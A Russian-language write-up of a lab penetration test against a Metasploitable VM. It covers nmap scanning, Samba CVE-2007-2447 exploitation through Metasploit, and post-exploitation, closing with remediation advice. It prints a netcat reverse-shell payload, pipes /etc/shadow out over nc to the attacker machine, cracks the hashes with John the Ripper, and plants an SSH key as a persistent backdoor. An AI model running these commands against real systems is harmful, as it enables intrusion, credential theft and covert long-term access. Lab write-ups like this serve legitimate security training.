
Полный пентест Metasploitable: разведка с nmap, эксплуатация с Metasploit (CVE-2007-2447), извлечение и взлом учетных данных, постоянство SSH
Полный цикл реальной атаки в контролируемой и изолированной среде: подготовка лаборатории, разведка с nmap, приоритизация поверхности атаки, привязка к CVE, эксплуатация с Metasploit, пост-эксплуатация, извлечение и взлом учетных данных, и сохранение доступа через внедрение SSH-ключа.

msfconsole, nmap, John the Ripper.192.168.64.0/24). IP жертвы: 192.168.64.3.
Сканирование версий для точного определения того, что именно открыто — уязвимости затрагивают конкретные версии, а не абстрактные сервисы:
nmap -sV 192.168.64.3
12 открытых портов, все с устаревшими и эксплуатируемыми версиями.
Вместо атаки первого открытого порта я классифицировал сервисы по типу риска перед выбором цели:
Выбранная цель: Samba 3.0.20-Debian — сочетает версию с задокументированной критической уязвимостью, эксплойт доступен в Metasploit, и выполнение кода без предварительной аутентификации: максимальное воздействие при максимальной надежности.
Подтверждение точной версии с помощью движка скриптов Nmap (NSE):
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
Samba 3.0.20 уязвима к CVE-2007-2447: параметр username map script не проверяет входные данные, и атакующий может внедрить команды оболочки напрямую в поле имени пользователя. Поскольку сопоставление происходит до входа в систему, не требуются ни действительный пользователь, ни пароль.

msfconsole

Поиск соответствующего модуля:
msf > search type:exploit samba

Настройка и выполнение:
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened
Немедленная проверка привилегий — уязвимость дает прямой доступ root, без необходимости последующего повышения:
whoami → root
uname -a → Linux metasploitable 2.6.24-16-server (ядро 2008 года)

Просматривая процессы на жертве, можно увидеть саму внедренную полезную нагрузку в исполнении:
ps aux | grep samba
root 4931 sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"
Отправленное имя пользователя содержало саму команду (/=`...`): Samba передала её без санитизации в оболочку, которая создала канал с mkfifo, открыла обратное соединение с Kali через netcat и подключила /bin/sh к этому каналу — полное удаленное выполнение кода, строка за строкой.
Перечисление внутренних сервисов с помощью netstat -tulnp: MySQL прослушивал на 0.0.0.0:3306 — открыт для любой машины в сети, а не только для localhost.
Вместо попыток взломать хэши на самой жертве (потребляет CPU, создает шум, оставляет следы) я извлек хэши и передал их в Kali для атаки офлайн:
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Передача через netcat и подготовка для John the Ripper:
# В Kali:
nc -lvnp 4444 > shadow.txt
# На жертве:
cat /etc/shadow | nc 192.168.64.4 4444
unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt
John выполняет три автоматических фазы (режим single с информацией о самом пользователе, словарь и инкрементальный перебор). Результат: 6 из 7 паролей взломано, включая повторно используемые учетные данные для SSH, MySQL и FTP.

С взломанными учетными данными — прямой доступ по SSH как легитимный пользователь:
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Чтобы не зависеть от пароля, который может быть изменен, я сгенерировал свою пару ключей и добавил её в authorized_keys жертвы — бэкдор, который переживает смену пароля и не вызывает предупреждений о брутфорсе:
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys # выполнено на жертве, уже скомпрометированной
Последующий доступ без пароля:
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

0.0.0.0, активные устаревшие протоколы вроде Telnet).Удалить небезопасные протоколы, такие как Telnet, обновить критически важные сервисы и само ядро, ограничить прямое открытие баз данных, применить сегментацию сети и, прежде всего — учитывая, насколько легко были взломаны пароли — внедрить политики надежных и не повторно используемых между сервисами учетных данных. Те же методы обнаружения, которые предотвратили бы эту атаку в продакшене (мониторинг аномальных исходящих соединений, предупреждения о nc/reverse shells) — это то, над чем я работаю со стороны защиты в моем Home SOC Lab.
Приоритизация перед атакой — понимание того, какой сервис дает наибольшее воздействие с наибольшей надежностью, вместо перебора портов наугад — привела напрямую к Samba. Фаза пост-эксплуатации, когда видна сама внедренная команда, выполняющаяся в ps aux, лучше всего иллюстрирует, почему уязвимость проверки входных данных превращается в полный контроль над системой. А сохранение доступа через SSH-ключ ясно показывает, что, попав внутрь, цель атакующего — не просто "иметь доступ", а иметь его скрытно и на длительный срок — тем более, что защита в глубину не должна полагаться на единственный барьер.
| Порт | Сервис | Версия |
|---|
| 21/tcp | ftp | ProFTPD 1.3.1 |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |
| 23/tcp | telnet | Linux telnetd |
| 80/tcp | http | Apache httpd 2.2.8 |
| 139,445/tcp | netbios-ssn | Samba smbd 3.X — основная цель |
| 3306/tcp | mysql | MySQL 5.0.51a |
| 8180/tcp | http | Apache Tomcat/Coyote JSP 1.1 |